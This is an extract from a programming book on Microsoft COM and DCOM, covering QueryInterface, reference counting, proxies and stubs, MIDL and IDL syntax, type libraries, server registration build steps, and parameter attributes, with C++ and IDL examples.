82 Chapter 6 •
Understanding the Client and Server
One of the interesting things about interfaces is that Query-
Interface works backwards too. If you have the IBeepObj object,
you can ask it for the IUnknown interface.
IUnknown *pUnk;
// Query IBeep for IUnknown interface
hr = pBeep->QueryInterface(
IID_IUnknown,(void**)&pUnk);
In fact, you can get any interface from any other interface.
For example, take a COM object that supports 3 interfaces, IUn-
known, IA, and IB. We can query the IUnknown for either IA or
IB. We could also query IA for IB, and vice versa. Obviously, you
can't query any of these interfaces for IX, which isn't supported
by the COM object.
Here are some of the rules of that you need to keep in mind
when using QueryInterface:
• All COM objects support IUnknown. If it doesn't support
IUnknown, it's not a COM object.
• You always get the same IUnknown interface. If you call
QueryInterface multiple times for IUnknown, you will
always get the same pointer.
• You can get any interface of a COM object from any other
interface.
• There is no way to get a list of interfaces from an inter-
face. (While this may sound interesting, it would be use-
less.)
• You can get an interface from itself. You can query inter-
face IX for interface IX.
• Once published, interfaces never change.
• If you obtain a pointer to an interface once, you can
always get it. See the previous rule.
Reference Counting with AddRef and Release
COM has no equivalent to the C++ "delete" keyword. Although
there are several ways to create COM interfaces, there is no way
More About Interfaces
83
Additonal Information and Updates: http://www.iftech.com/dcom
to explicitly delete them. This is because COM objects are
responsible for managing their own lifetime.
COM uses the standard technique of reference counting to
decide when to delete objects. The first time a client requests a
specific interface, COM will automatically create a COM object
that supports it. Once created, QueryInterface is called to get an
interface pointer from the object. When you create an interface
with CoCreateInstance or QueryInterface, AddRef is automati-
cally called to increment the reference count. Each new interface
increments the reference count.
When Release is called, the count decrements. When the
count reaches zero, that means nobody is using the object any-
more. At this point the object calls "delete" on itself.
Here is a fictional implementations if IUnknown and its
three methods:
HRESULT _stdcall CSimple::AddRef()
{
return m_nRefCount++;// increment count
}
HRESULT _stdcall CSimple::Release()
{
if (--m_nRefCount == 0) // decrement count
{
delete this;// delete self
return 0;
}
return m_nRefCount;
}
HRESULT _stdcall CSimple::QueryInterface(
const IID &iid, void **ppi )
{
// make a copy of the "this", cast as an interface
if (iid==IID_IUnknown)
*ppi = static_cast< ISimple *>(this);
else if (iid==IID_ISimple)
*ppi = static_cast< ISimple *>(this);
else
{
// invalid interface requested
84 Chapter 6 •
Understanding the Client and Server
*ppi = NULL;
return E_NOINTERFACE;
}
// automatically increment counter
static_cast<IUnknown*>(*ppi)->AddRef();
return S_OK;
}
As you can see, these methods don't do anything fancy.
Every time a copy of the interface is made, the object increments
its counter. As interfaces are released, the count decrements.
When the count reaches zero, the object deletes itself. Query-
Interface automatically calls AddRef, so you don't need to explic-
itly call it (so does CreateInstance.)
The "++" and "--" operators aren't thread safe, so this code
could fail with free threaded applications. For this reason the API
methods InterlockedIncrement and InterlockedDecrement are
often used instead.
Reference counting offers some significant advantages to the
client program. It relieves the client of any knowledge of the
COM object’s state. The client program's only responsibility is to
call Release for each new or copied interface.
Obviously, if someone forgets to call Release, the object
won't be destroyed. This means it will stay around for the life of
the server. Worse yet, if Release is called too often, the object
will destroy itself prematurely. Here are some basic rules for
when to call AddRef and Release.
1. Do not call AddRef after functions that return interface
pointers, such as QueryInterface, CoCreateInstance, and
CreateInstance. It has already been called.
2. Call AddRef if you make a copy of a (non-null) interface
pointer.
3. Call Release once for each AddRef that is called. (See #1)
Method Calls
85
Additonal Information and Updates: http://www.iftech.com/dcom
Method Calls
Ultimately, the result of calling QueryInterface is that we end up
with an interface pointer. In the previous section, the program
was able to use the interface pointer to call a function in the
interface.
pIf->Beep();
This code looks unremarkable. In our example code, we
used an in-process server implemented as a DLL. For a DLL, call-
ing a function is just a pointer away. This interface pointer is
much more interesting if the server is an out-of-process server, or
even a remote server. For a remote server, clearly pIf-> is not just
a normal function pointer. This interface pointer can reach across
process boundaries, and even the network to call its methods.
When thinking about a pointer, we normally think of it con-
taining a memory address. Obviously it is impossible to directly
access memory across the network. The way COM gets around
this limitation is rather ingenious. COM handles its client/server
communication through a pair of hidden communications
objects. What appears to be a pointer directly to the server is
actually a pointer into a communications object known as a
proxy. The proxy's purpose is to modulate the flow of data
between the client and server using a process known as marshal-
ing. The proxy has a counterpart class, called a stub, which han-
dles the server's end of the communication. The proxy and stub
are either implemented as a separate DLL or built into the server
and client applications.
86 Chapter 6 •
Understanding the Client and Server
The client program communicates with the proxy as if it
were communicating directly with the server. The proxy in turn,
works closely with the stub. Together, the proxy and stub handle
all communication between the client and server. The server sees
its input as if it were direct from the client, and the client can call
functions using a pointer as though the server were in a DLL.
The proxy and stub are transparent to each side of the applica-
tion. In this way, the proxy and stub hide all the details of inter-
process communication.
If you've ever done any communications programming, you
will realize that the code hidden inside the proxy and stub is
quite involved. The implementation of marshaling (which in
COM means, "moving data across process or network bound-
aries") is not trivial. Luckily, you don't have to write marshaling
code. We're going to generate our server using MIDL, which will
automatically create the Proxy and Stub. Because of MIDL, the
process is completely invisible and you generally do not have to
think about it.
Not all COM interfaces use a proxy and stub. Some simple
server models don't require any marshaling of data. Other inter-
Figure 6–3
Relationship between the proxy and stub
Server
Application
COM
Object
Stub
Proxy
Client
Program
Client
Application
Process or
Network Boundries
Method Calls
87
Additonal Information and Updates: http://www.iftech.com/dcom
faces use a type of marshaling known as "type library" marshal-
ing. These servers are commonly known as dual or "dispatch"
interfaces. One of the most important features of COM is that our
client application can ignore all the infrastructure required to use
the interface. The generation of Proxies and Stubs and all the
marshaling will be taken care by the server. Happily, we can pre-
tend our interface is a simple pointer. COM hides the implemen-
tation of the server from the client programmer.
COM Identifiers: CLSID AND IID
COM makes heavy use of GUIDs to identify items. When you
call CoCreateInstance to get a specific interface, you need two
pieces of information.
• The COM class that implements the interface
• The specific interface you wish to access
These two pieces of information are uniquely specified by
the CLSID and IID respectively. Getting back to the example pro-
gram, take a look at the first parameter of CoCreateInstance(). It's
defined as a reference to a CLSID. Now, as we stated earlier, a
CLSID is a type of GUID. If you look in AFXWIN.H you'll see
that GUID, IID and CLSID are all the same structure.
typedef struct _GUID GUID;
typedef GUID IID;
typedef GUID CLSID;
Here's the initialization of the CLSID and IID struct. Note
that there is only 1 hex digit different, but that's enough to make
the two GUID's completely unique. They're so close because
they were generated at about the same time.
IID iid =
{0x50709330,0xF93A,0x11D0,{0xBC,0xE4,0x20,0x4C,0x4F,
0x4F,0x50,0x20}};
CLSID clsid =
{0x50709331,0xF93A,0x11D0,{0xBC,0xE4,0x20,0x4C,0x4F,
0x4F,0x50,0x20}};
88 Chapter 6 •
Understanding the Client and Server
From the client's point of view, the COM class isn't espe-
cially important. As far as we're concerned, it's just a way to
identify the server that will create our interface. If you're writing
a COM Server, your perspective will be completely different. The
COM Class is fundamental in the server.
The IID is the unique ID, which identifies the COM inter-
face. It's important to note that an interface can be implemented
by several servers. For example, an interface called IFly might be
implemented by a coclass called CKite , CJet, and CGull.
CLSCTX -- Server Context
The CLSCTX parameter defines how the server will run. The
three most common forms of this parameter are:
• CLSCTX_INPROC_SERVER : In-process server. The COM
server is a DLL.
• CLSCTX_LOCAL_SERVER : Out-of-process server. The
server runs on the same machine as a separate EXE or an
NT service.
• CLSCTX_REMOTE_SERVER : The server runs on a remote
machine as a separate EXE or an NT service.
In our first examples we're using CLSCTX_INPROC_SERVER,
which means the server will run as part of our client process.
Commonly, a client will use CLSCTX_SERVER, which allows
either INPROC_SERVER and LOCAL_SERVER. This is the client's
way of saying it doesn't care how the server is implemented.
Inheritance
One of the accepted principals of Object Oriented programming
is the concept of inheritance. C++ supports and encourages
inheritance, offering a rich set of techniques for its implementa-
tion.
COM is often criticized because it does not support inherit-
ance. This is not an oversight on the part of COM's designers,
but a necessary compromise. To understand this point of view,
we have to look at the design goals of COM. COM is designed to
Summary
89
Additonal Information and Updates: http://www.iftech.com/dcom
make components available across processes, networks, and
even operating systems. This means COM has to ensure consis-
tency and simplicity in components and their interfaces.
Object Oriented computer languages such as C++ are
designed for a different purpose. They are designed to work on
a single computer, and within a single process. C++ is optimized
to efficiently create complex applications. A C++ compiler never
has to work across a network, or run simultaneously across dif-
ferent operating systems (by this I mean more than simple net-
work file access). C++ does not have built-in networking; it's just
a compiler.
Another related issue is stability. Because COM is distrib-
uted, it needs to have a higher level of stability. Inheritance is, by
definition, a very tight form of coupling. Coupling can introduce
a level of instability into applications. When a base class
changes, it can have severe repercussions on the classes that use
it. Instability is contrary to the design principles of COM.
As we've said so many times, COM is built around inter-
faces. COM's answer to inheritance is interface inheritance. This
means that you can inherit an interface layout, but you will have
to implement the interface in your COM class. There is no spe-
cial limitation on the C++ class that implements an interface,
other than the fact that it must have a proper VTABLE structure.
For a Visual C++ implementation, a coclass is just a C++ class,
and you're free to inherit from whatever base class you desire.
Summary
In this chapter we have discussed a number of the details
that apply “behind the scenes” to COM applications. Much of this
information will make it easier to understand what is happening
when a client connects to COM server, but most of these imple-
mentation details are hidden. Because they are hidden these
details generally do not matter, but they may matter when a
COM client or server contains a bug causing a failure. See Chap-
ter 16 and the error appendix for details.
90 Chapter 6 •
Understanding the Client and Server
S
E
V
E
N
7
An Introduction to
MIDL
MIDL stands for Microsoft Interface Definition Language. MIDL is
a special interface 'language' and a compiler that generates, or
“emits,” COM code. MIDL provides a standard way of defining
COM interfaces and objects. The code generated by the MIDL
compiler takes care of much of the grunt work of developing
COM applications.
In then next three chapters we'll look at how MIDL fits in
with the COM development process. We'll also look at MIDL's
capabilities and syntax, as well as how to define and use a num-
ber common interfaces and their parameters.
Origins of the MIDL Compiler
As with much of COM, MIDL evolved from the Open Software
Foundations Distributed Computing Environment, also known as
DCE. The DCE way of calling procedures across networks is
called RPC (Remote Procedure Calls). RPC is a useful standard,
but it never became hugely popular because of implementation
problems.
RPCs use an interface language called IDL. MIDL is just an
'Enhancement' of the IDL language that includes Microsoft's
92 Chapter 7 •
An Introduction to MIDL
COM extensions. Much of the COM IDL syntax is identical to
RPC , and MIDL has the capability of processing RPC definitions.
COM and RPCs are actually quite closely tied together on
Microsoft platforms. At a low level, COM uses RPCs as its com-
munication method. This is, however, just a matter of conve-
nience - COM can be implemented with almost any
communication method if you are willing to write the marshaling
code yourself.
MIDL is a language compiler. The source files of MIDL usu-
ally have the extension of "IDL". The MIDL compiler uses a syn-
tax that is somewhat similar to C++, but it has a number of
important extensions for COM.
Unlike a traditional compiler, MIDL does not generate object
code (you can't link it). The output consists of several header
files and a type library. These header files will be included into a
C++ program and used to create object code. In many ways, the
MIDL compiler is a code generator. It's interesting to note that
MIDL generates stock C++ code wired straight into the Win32
API. It doesn't use ATL or MFC.
It's reasonable to ask why we need a special language for
COM interfaces. After all, MIDL itself generates C++ code. The
client and server will probably be implemented in a language
such as C++, why can't we just use C++ syntax and write the
MIDL output ourselves? To answer that question, let's look at
some of the special abilities of MIDL. While it is technically pos-
sible to write MIDL’s output “by hand”, it wouldn’t be much fun.
Precisely Defining Interfaces with the IDL Language
The level of precision required to define a COM interface is quite
high. When working with remote objects you have to be very
precise about how you pass data.
As C++ programmers, we commonly work with function
(method) calls. When dealing with functions, we don't normally
use the word interface. Every C++ function is like a COM
method - it has a name, a return type, and a parameter list. If you
think about it, C++ header files are similar to COM interface def-
initions because they expose functions to the outside world.
Origins of the MIDL Compiler
93
Additonal Information and Updates: http://www.iftech.com/dcom
If we're working with C++ objects, we have class defini-
tions. The C++ class is roughly equivalent to a COM interface
definition. In the same way a class encapsulates a group of func-
tions, so does the COM interface. C++ classes are of course much
richer than COM interfaces because they can define data mem-
bers and public and private members. A better C++ analogue to
COM interfaces is a 'struct', which defines only public members.
There are several important differences between C++ classes
and COM interfaces. One difference is that interfaces don't say
anything about implementation. The very rough COM equivalent
to a C++ object is a coclass, which behaves like an object (it can
be instantiated on a server).
Defining interfaces (object definitions) in C++ is relatively
easy because we're working in a controlled environment. If func-
tion parameters don't match, the compiler will let you know. If
modules are incompatible, the linker will catch the problem. Of
course, run-time errors are a lot harder to catch, but you still
have extensive error handling, especially if you're testing your
code in debug mode.
As the caller (client) and object (server) get farther away,
the communication of data becomes more problematic. DLLs, for
example, require more precise definitions than local function
calls. A DLL must be able to dynamically load into memory,
export some of its functions, and use an agreed-upon calling
standard.
When the client and server are completely removed, as they
are in distributed COM, there's a lot of room for miscommunica-
tion. The IDL language contains a rich set of attributes that pre-
cisely define the method of communication. Not only do you
define objects and methods, but you explicitly describe how to
transfer data.
Actually, you can define COM interfaces and objects without
MIDL but it requires some complex and unusual syntax. In fact,
MIDL converts your IDL definitions into "C" headers. If you take
a look in these automatically generated header files, you'll find a
lot of compiler directives and a level of complexity you've prob-
ably never seen before.
94 Chapter 7 •
An Introduction to MIDL
MIDL Generated Headers
IDL acts as the COM 'Data Dictionary'. You write your COM defi-
nitions in IDL, and run them through the MIDL compiler. MIDL
takes your definitions and generates "C" and C++ language head-
ers.
These header files are very useful to both the client and
server application. You include the MIDL generated headers for
their function prototypes and 'const' definitions. The same file is
included in both the client and server, ensuring that they are
compatible.
MIDL generates two basic types of header. The first is a
standard C/C++ "H" header file. If you look in this file you'll see
#include statements, #defines, typedefs, and object definitions -
all the usual stuff in a header file. You also see a number of
obscure compiler directives and macro's. There are also a num-
ber of #ifdef's and conditional compile statements (which seem
to be one of the normal characteristics of computer generated
code.)
Another header file, the "i.c" file, contains "C" definitions of
all the GUID's used by the application. These GUID's are defined
as "const" types. GUID's are quite long and difficult to type, so
this header prevents a lot of mistakes.
Because "const" definitions are stored as variables, MIDL
puts them in a "C" module, rather that a header. Our beep server
example would generate a file named "BeepServer_i.c". Unlike a
normal "C" file, this file is actually intended to be included with a
"#include".
Automatically Generated Proxy/Stub Modules
In this book we do not spend much time talking about Proxy/
Stubs and marshaling. This is because these topics are handled
automatically by the MIDL compiler. You have to be aware that
marshaling is going on, but you won't have to actually imple-
ment it.
One of the most endearing qualities of MIDL is that it writes
Proxy and Stub definitions based on your IDL code. This is
called "Standard Marshaling". If you write your own marshaling
The IDL Language
95
Additonal Information and Updates: http://www.iftech.com/dcom
it's called "Custom Marshaling". The need to use custom marshal-
ing is rare in normal COM applications. The implementation can
be complex and time consuming. I cover some simple marshal-
ing using the CoMarshalInterThreadInterfaceInStream method
call. Kraig Brockschmidt's book Inside Ole is a good reference
for this topic.
Automatic Creation of Type Libraries
A type library is a data file that contains the description of COM
objects and interfaces. In other words, a type library is the binary
representation of the IDL file. Type libraries are used heavily by
dual and IDispatch interfaces. The #import directive in C++ (V6
and V5) directly imports the type library, and is probably the eas-
iest way to use COM in a client.
Type libraries are an interesting subject unto themselves. We
cover them in more detail in Chapter 9.
MIDL can generate a type library for your COM application.
Back in the earlier days of OLE, type libraries were generated by
a utility named MKTYPLIB. MKTYPLIB used a language called
ODL (Object Description Language) that looks remarkably like
IDL. Actually, MIDL can quite happily process ODL source code.
The IDL Language
IDL is designed specifically to define all the aspects of COM
communication. For C++ programmers, the syntax will be famil-
iar. IDL uses "C" constructs for almost everything, but adds sev-
eral COM specific attributes.
Unlike C++, IDL just supports definitions. You can't actually
write programs in IDL. The source files have an extension of
"IDL". You can look at IDL files as the COM equivalent of ".H"
files in C++.
Although it's an "interface" definition language, IDL does a
lot more than define interfaces. Here are some of the things you
define with IDL.
• COM interfaces
96 Chapter 7 •
An Introduction to MIDL
• Individual Interface Method (Function) definitions.
• Parameters - Detailed information about how parameters
are passed through COM.
• COM Class definitions (coclass)
• Type libraries
• Types - A variety of data types
The MIDL compiler can be invoked directly from a com-
mand prompt:
C:\> midl BeepServer.idl
MIDL will process the source files and generate output. The
MIDL compiler has been integrated with Version 6.0 of visual
studio. This is a big change from earlier versions of Developer
studio, making COM a more integrated part of the development
environment. You can see the MIDL settings by opening the
project settings and selecting the IDL file of your project. There is
a special MIDL tab under settings.
Figure 7–1
MIDL settings
The IDL Language
97
Additonal Information and Updates: http://www.iftech.com/dcom
In previous versions in the MIDL command was built into
the “Custom Build” step of the project. When you use the ATL
AppWizard to generate a project, it will include the execution of
the MIDL compiler. If you want to see where the MIDL com-
mand resides, do the following: 1) Click on the “FileView” tab of
the workspace. Highlight the IDL source file. 2) select the
“Project” menu, and look at the “settings”. The “Project Settings”
dialog will be displayed. 3) Find the IDL source file under the
source files, and look at its custom build tab. What you’ll see is a
command under the build commands that looks like the follow-
ing:
midl /Oicf /h "BeepServer.h" /iid "BeepServer_i.c"
"BeepServer.idl"
The workspace automatically executes this command when-
ever the IDL source is modified. If you're curious about the MIDL
command line, there is some help available on the options.
Interfaces and Methods in IDL
When you start to look at IDL source code, you'll notice the sim-
ilarities with C++. MIDL actually uses the C++ pre-processor to
parse the source file, you'll immediately recognize that it accepts
C++ style comments.
The interface definition is divided into two units -- attributes
and definitions. The attributes are always enclosed in square
brackets. In the following example, the interface has three
attributes, a uuid, a help string, and a pointer_default. The signif-
icant attribute is the uuid. Uuid is the GUID that identifies this
interface. The Wizards also generate a lot of help attributes like
helpstring and helpcontext. The Help information is mostly used
in type libraries, and is displayed by object browsers like the one
in Visual Basic.
// A simple interface
[
uuid(36ECA947-5DC5-11D1-BD6F-204C4F4F5020),
helpstring("IBeep Interface"),
98 Chapter 7 •
An Introduction to MIDL
pointer_default(unique)
]
interface IBeep : IUnknown
{
};
There are a number of other interface attributes. One of
these is the “dual” attribute , which means the interface supports
both a custom COM interface (IUnknown), and an OLE automa-
tion interface (IDispatch). Dual interfaces offer the flexibility of
connecting through the early binding IUnknown interface, or a
late binding IDispatch interface. See chapter 9 for a detailed dis-
cussion of Dispatch interfaces.
COM allows interface inheritance. All interfaces MUST
implement the methods of IUnknown. The IBeep interface has
IUnknown as part of IBeep's inheritance. In COM, there is no
concept of public and private. Anything we can define in an
interface is, by default, public.
Often you will see interfaces that inherit from the IDispatch
interface. These interfaces usually have the "Dual" or "oleauto-
mation" attribute. Like all COM interfaces, IDispatch also inherits
from IUnknown.
There's nothing to stop you from inheriting from your own
custom interface, as long as that interface implements IUn-
known. Multiple inheritance is not allowed for IDL interfaces,
but objects often do have multiple interfaces. If you really want
to see multiple inheritance, you'll get plenty in ATL - in ATL
inheritance is used as a mechanism to bring multiple interfaces
into an object.
As you get into the OLE world, you'll find there are numer-
ous standard interfaces you need to implement. One typical OLE
interface is IPersistFile. OLE requires that you implement this
interface for several types of objects that must be able store
themselves and be retrieved from disk files. This interface is well
known:
it's
GUID
(always
0000010b-0000-0000-C000-
000000000046) and methods are defined in the standard IDL files
in the C++ include directories. You just have to include the inter-
The IDL Language
99
Additonal Information and Updates: http://www.iftech.com/dcom
face with an "import" statement. IPersistFIle is defined in
"OBJIDL.IDL". The statement looks like this:
import "oaidl.idl";
If you implement IPersistFile in your COM object, you'll
need to include it in a COM class and implement all its methods.
Remember that MIDL just provides definitions. This isn't "real"
object inheritance, where you inherit all the behaviors of an
interface. You're just inheriting the definitions.
Let's take a look at some of the more common interface
attributes.
Attribute
Usage
Dual
Supports both dispatch (IDispatch) and custom (IUn-
known) interface. Custom interfaces are sometimes called
VTABLE interfaces.
Oleautomation
The interface is compatible with OLE Automation. The
parameters and return types in the interface must be auto-
mation types.
Uuid
Associates a unique identifier (IID) with the interface. This
id distinguishes the interface from all other interfaces.
Version
Associates a version with the interface. It looks useful but
this attribute is not implemented for COM interfaces. It is
valid for RPC interfaces.
Pointer_default()
Specifies the default pointer attributes applied to pointers
in the interface. Pointer attributes can be ref, unique, and
ptr.
Table 7.1
Interface Attributes
100 Chapter 7 •
An Introduction to MIDL
Interfaces are just containers for a group of methods. An
interface can have any number of methods. Here's a very simple
MIDL method definition:
HRESULT Beep([in] long lDuration);
MIDL generates a header that defines this method in the
C++ code. Here's what the C++ equivalent of this statement
looks like:
virtual HRESULT _stdcall Beep(/*[in]*/ long lDura-
tion);
As you can see, attributes have no equivalent in C++. The
attributes are retained in C++ headers as comments. While it may
not be used in the C++ headers, the attributes are very important
for other aspects of the code generation. In this case MIDL used
the "[in]" attribute to produce marshaling code which transfers a
variable of type "long" to the server.
The return code of a COM method is almost always an
HRESULT. The two well-known exceptions to this rule are the
methods of IUnknown - AddRef() and Release(). The return val-
ues for AddRef and Release are used only for debugging refer-
ence counting problems. See chapter 4, chapter 16 and the error
appendix for more information on HRESULTs.
There are only a few method attributes you are likely to see.
These attributes are all associated with Dispatch interfaces. The
most common is the “ID” attribute, used to specify the dispatch
ID.
The Component Class in IDL
A COM class definition is called a coclass, for "component class".
A coclass is a top-level object in a COM object hierarchy. Here's
a typical coclass definition:
[
uuid(543FB20E-6281-11D1-BD74-204C4F4F5020)
The IDL Language
101
Additonal Information and Updates: http://www.iftech.com/dcom
]
coclass BasicTypes
{
[default] interface IBasicTypes;
interface IMoreStuff;
};
Syntactically, there's not much to a coclass definition. Each
coclass has a GUID and a list of interfaces. The attribute [default]
looks important, but it is intended for use by macro languages
such as WordBasic. Strangely enough, a coclass can have two
default interfaces - one for an outgoing interface (source),
another for the incoming (sink) interface. See chapter 13 on call-
backs for more information about sources and sinks. For the
most part, we can ignore the default attribute.
When we write source code, the coclass usually maps
directly into a C++ object. There's no rule that says a coclass cor-
responds to a C++ class. Actually, you can write COM definitions
in "C" without any class definitions at all. However, since we're
using ATL, there will be a one-to-one correspondence between
the two. The C++ object will be the coclass name with a preced-
ing "C". In this case it's "CBasicTypes". Here's the code generated
by the ATL wizard:
class ATL_NO_VTABLE CBasicTypes :
public CComObjectRootEx,
public CComCoClass<CBASICTYPES, &CLSID_BasicTypes,
public IBasicTypes,
public IMoreStuff
{
. . . class definition
};
Notice that two of the base classes for CBasicTypes are "IBa-
sicTypes" and "IMoreStuff". These are the two interfaces included
in the coclass. In ATL each interface in the coclass will be
included in the class definition. This means the interface will
have to implement the C++ code for all the methods in both
interfaces.
102 Chapter 7 •
An Introduction to MIDL
Another consequence of grouping interfaces in a coclass is
that they share the same IUnknown interface. It's one of the fun-
damental rules of COM that all interfaces in a COM class will
return the same IUnknown pointer when you call QueryInter-
face().
Type Libraries in IDL
As we said earlier, one of the nice features of MIDL is that it
automatically creates type libraries. Actually, the generation of
type libraries isn't quite automatic - you have to insert a defini-
tion in the IDL source.
[
uuid(543FB200-6281-11D1-BD74-204C4F4F5020),
version(1.0),
helpstring("IdlTest 1.0 Type Library")
]
library IDLTESTLib
{
importlib("stdole32.tlb");
importlib("stdole2.tlb");
[
uuid(543FB20E-6281-11D1-BD74-204C4F4F5020)
]
coclass BasicTypes
{
[default] interface IBasicTypes;
};
}
Anything included between the curly braces of the library
definition will be include in the library. In this case, the interface
IBasicTypes was defined outside the library, and included in the
coclass definition. MIDL will also pull in the definition of IBasic-
Types in the library.
MIDL will only generate proxy/stub implementations for
definitions outside the library statement. Sometimes you will see
MIDL Post-Processing
103
Additonal Information and Updates: http://www.iftech.com/dcom
items such as interfaces defined inside the library definition.
These objects will only be seen from inside the type library.
The "importlib" statements are used to include the type
library definitions from another type library. If a client needs
these definitions, it will have to get them from the external
library. In this case, the standard OLE libraries are imported.
MIDL Post-Processing
The ATL application wizard automatically includes the build
command for the IDL file in the project. In version 4 and 5, the
custom build step was responsible for invoking the MIDL com-
piler. With the Version 6, the MIDL step was integrated with
developer studio.
The custom build is still responsible for server registration.
For EXE servers, the custom build executes the server program
with the ‘/RegServer’ command. Note that ‘$(TargetPath)’ and
‘$(OutDir)’ are environment variables that the build process will
replace with the name and output directory of your server.
Commands:
"$(TargetPath)" /RegServer
echo regsvr32 exec. time > "$(OutDir)\regsvr32.trg"
echo Server registration done!
Outputs:
\$(OutDir)\regsvr32.trg
For a DLL based in-process server, the registration is han-
dled exclusively by REGSVR32. The build command would be as
follows:
regsvr32 /s /c "$(TargetPath)"
The TRG file is a dummy file that’s necessary for the proper
execution of the NMAKE and REGSVR32 command. This dummy
file is created when the custom build step executes, and gets the
104 Chapter 7 •
An Introduction to MIDL
current timestamp. One of the rules of makefiles is that there is
an output file for each action. The build process can then use the
timestamp of this file to determine if it needs to execute the cus-
tom build command. If you look in the TRG file you’ll find there
isn’t anything useful there.
THE POST BUILD STEP
The custom build step is somewhat obsolete for registering a
server. The ATL wizard still generates a custom build step, so it is
the default for most projects. A better way to do this would be to
add a command to the Settings/Post Build Step tab. You can
remove the three commands and the dummy target (TRG) file
from the custom build. Add the following to the post-build set-
tings tab instead.
$(TargetPath) /RegServer
echo "Registration Complete"
You can also automatically include the proxy/stub DLL build
in this step. The following commands will build the proxy/stub,
and register it using the REGSVR32 command. Once again, the
post build step doesnít require a target. We’re using the ‘$(Wksp-
Name)’ variable, and appending ‘PS’ to the end. You may also
want to add an ‘echo’ statement to inform the user whatís hap-
pening.
nmake $(wkspName)PS.mk
regsvr32 -s $(WkspName)PS.dll
Actually, you only need to build the proxy/stub DLL when
the MIDL code changes. This is true because the Proxy/Stub is
only concerned with marshaling data between the client and
server, and doesn’t deal with the implementation of either. This
post-build processing will cause some unnecessary processing,
although NMAKE is pretty good about rebuilding only what it
needs.
Summary
105
Additonal Information and Updates: http://www.iftech.com/dcom
THE PLG FILE
The PLG file is a build log. It contains the output of your build
command, and can be useful when trying to diagnose build
problems. The PLG file will show you the commands executed,
with all their copious switches and results.
Summary
Thus far we've looked at the origins and capabilities of the MIDL
compiler. This tool offers a very powerful way to define COM
classes, interfaces, and methods. MIDL also generates a great
deal of the code required to quickly build servers. MIDL is also a
code generator. It automatically produces headers, proxy/stub
DLL, and type libraries.
In the next chapter, we'll look in detail at some of the syntax
of IDL. We'll also give examples of using the most common IDL
data types.
106 Chapter 7 •
An Introduction to MIDL
E
I
G
H
T
8
Defining and
Using Interfaces
There are lots of decisions to make when you're setting up COM
interfaces. Not only do you have to set up the usual function
parameters, but you also have to decide how COM will transfer
the data.
Transferring data is what COM is all about. When you're
working with standard C++ programs and DLL's, you take data
transfer for granted. The only real decision for a C++ program-
mer is whether to pass parameters by value or to use pointers.
When you're working with remote servers, the efficiency of data
transfer can be of critical importance to an application. You've
got to make a lot of decisions about data types, transfer methods,
and interface design. MIDL gives you the tools to work with
these issues.
MIDL gives you a number of data types. These include the
basic data types, OLE Automation types, structures, arrays and
enums. Most of these map easily to the C++ types your applica-
tion uses. The unfamiliar part of this process is the definition of
parameter attributes. The are two basic attributes, [in] and [out],
which define how COM will marshal the data.
108 Chapter 8 •
Defining and Using Interfaces
Base Types
MIDL's base types, such as long and byte, should be immediately
familiar to a C++ programmer. Base types are the fundamental
data types for IDL; most other types are based on them.
Most integer and char types can have a signed or unsigned
attribute. The signed keyword indicates that the most significant
bit of an integer variable holds the sign rather than data. If this
bit is set, the number represents a negative number. The signed
and unsigned attribute can apply to char, wchar_t, long,
short, and small.
Type
Bits
Description
boolean
8
Can have a value of TRUE or FALSE. These states
are represented by 1 and 0 respectively. Note that
the C++ type BOOL is 32 bits. MIDL handles it as
an unsigned char.
byte
8
May have unsigned values of 0-255. Bytes are con-
sidered "opaque" which means MIDL doesn't
make any assumptions about content.
char
8
An unsigned 8 bit character. Range 0-255.
int
32 or 16
An integer value. The size depends on the plat-
form. On a 32 bit platform such as windows 95,
int's are 32 bit long words. On 16 bit platforms
they are 16 bit words.
long
32
A long word. Can be signed or unsigned. The
default is signed.
short
16
A signed or unsigned number.
hyper
64
A special 64 bit integer.
float
32
A low precision floating point number. A float in
C++. A 32 bit IEEE floating-point number.
double
64
Equivalent to C++ double. A 64 bit IEEE floating-
point number.
wchar_t
16
Wide characters (Unicode). This type maps to an
unsigned short.
Table 8.1
MIDL’s base types
Attributes
109
Additonal Information and Updates: http://www.iftech.com/dcom
Attributes
A basic IDL method definition looks something like this:
HRESULT InCount( [in] long lCount );
All COM methods must be qualified with "in" or "out", or
both. These are called "Directional" attributes, and they tell MIDL
how it should marshal the data.
The "[in]" attribute directs MIDL to generate code which will
make a copy of the parameter and send it to the server. This is
similar to "call by value" in C++, except the data is not copied to
the stack. Instead, the marshaling code will pass the parameter
to the proxy/stub DLL, which will package it to be copied to a
server. If the server modifies the data, COM will not make any
attempt to copy it back to the client.
Out parameters are also "one-way" data. Here is an IDL
method with an '[out]" parameter:
HRESULT OutCount( [out] long *plCount );
Out parameters always have to be pointers. In this case, the
server will fill in the pointer with the value of the count. This
function isn't as simple as it seems - there are several important
ambiguities here. Where is the pointer allocated? Can it be NULL?
Attribute
Usage
in
The parameter is only passed to the server. It is not returned.
All parameters default to [in] if no directional attribute is
specified.
out
The parameter is only returned from the client. It must be a
pointer type.
in,out
The parameter is passed to and returned from the server. It
must be a pointer.
Table 8.2
COM Directional Attributes
110 Chapter 8 •
Defining and Using Interfaces
When working locally in C++, pointers are a very efficient
way to pass data. By using pointers, C++ avoids passing large
amounts of data. If you're using an in-proc server, this is still true
- because an in-proc server is a DLL. If you're working with a
local or remote server, the picture is entirely different.
For remote objects, the use of pointers doesn't save very
much. Both in and out parameters must be marshaled across the
network. Passing pointers has just as high a cost in overhead.
The client and server don't share the same address space, so all
the data referenced by the pointer is copied.
To allow more efficiency in transferring data, COM gives
you several pointer attributes. There are three different types of
COM pointer: ref, unique, and ptr.
Attribute
Usage
ref
• The parameter is a reference pointer.
• A reference pointer can always be dereferenced.
• The pointer (address) will never be changed during the
call.
• The pointer must always point to a valid location, and
can never be NULL.
• You cannot make a copy of this pointer (no aliasing).
• The most efficient type of pointer.
unique
• The parameter is a unique pointer.
• It can be NULL or changed to NULL.
• The server can allocate or change the pointer (address).
• Pointed-to object cannot change size.
• You cannot make a copy of this pointer (no aliasing).
ptr
• The parameter is a full pointer.
• It can be NULL or changed to NULL.
• The server can allocate or change the pointer (address).
• Aliasing is allowed.
• Similar to a C++ pointer.
• The least efficient type of pointer.
retval
• The parameter receives the return value of the method.
• The parameter must have the [out] attribute and be a
pointer.
• Used in oleautomation interfaces.
Table 8.3
COM Pointer Values
Attributes
111
Additonal Information and Updates: http://www.iftech.com/dcom
In the previous examples we didn't specify which type of
pointer to use. The default pointer type for in parameters is "ref".
This means the pointer references memory allocated on the cli-
ent. This is the most restrictive type of pointer. The ref pointer is
allocated on the client, and its address is passed to the server.
